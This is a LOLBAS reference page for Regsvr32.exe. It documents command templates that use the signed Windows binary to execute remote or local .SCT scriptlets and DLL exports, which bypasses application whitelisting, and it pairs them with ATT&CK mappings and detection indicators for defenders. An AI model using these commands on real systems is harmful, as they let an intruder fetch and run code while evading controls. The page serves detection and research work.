LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Regsvr32.exe

View source

Used by Windows to register dlls

AWL BypassExecute
06COMMAND EXAMPLES
01ATT&CK TECHNIQUES
11DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

6 examples

AWL Bypass2

EXAMPLE 01T1218.010

Execute the specified remote .SCT script with scrobj.dll.

COMMAND
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
USE CASE
Execute code from remote scriptlet, bypass Application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · SCTExecute · Remote
EXAMPLE 02T1218.010

Execute the specified local .SCT script with scrobj.dll.

COMMAND
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
USE CASE
Execute code from scriptlet, bypass Application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · SCT

Execute4

EXAMPLE 01T1218.010

Execute the specified remote .SCT script with scrobj.dll.

COMMAND
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
USE CASE
Execute code from remote scriptlet, bypass Application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · SCTExecute · Remote
EXAMPLE 02T1218.010

Execute the specified local .SCT script with scrobj.dll.

COMMAND
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
USE CASE
Execute code from scriptlet, bypass Application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · SCT
EXAMPLE 03T1218.010

Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.

COMMAND
regsvr32.exe /s {PATH:.dll}
USE CASE
Execute DLL file
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLL
EXAMPLE 04T1218.010

Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.

COMMAND
regsvr32.exe /u /s {PATH:.dll}
USE CASE
Execute DLL file
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLL
02 / ON DISK

Known paths

C:\Windows\System32\regsvr32.exe
C:\Windows\SysWOW64\regsvr32.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

11 resources

Indicators & detection notes

  • IOC

    regsvr32.exe retrieving files from Internet

  • IOC

    regsvr32.exe executing scriptlet (sct) files

  • IOC

    DotNet CLR libraries loaded into regsvr32.exe

  • IOC

    DotNet CLR Usage Log - regsvr32.exe.log

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee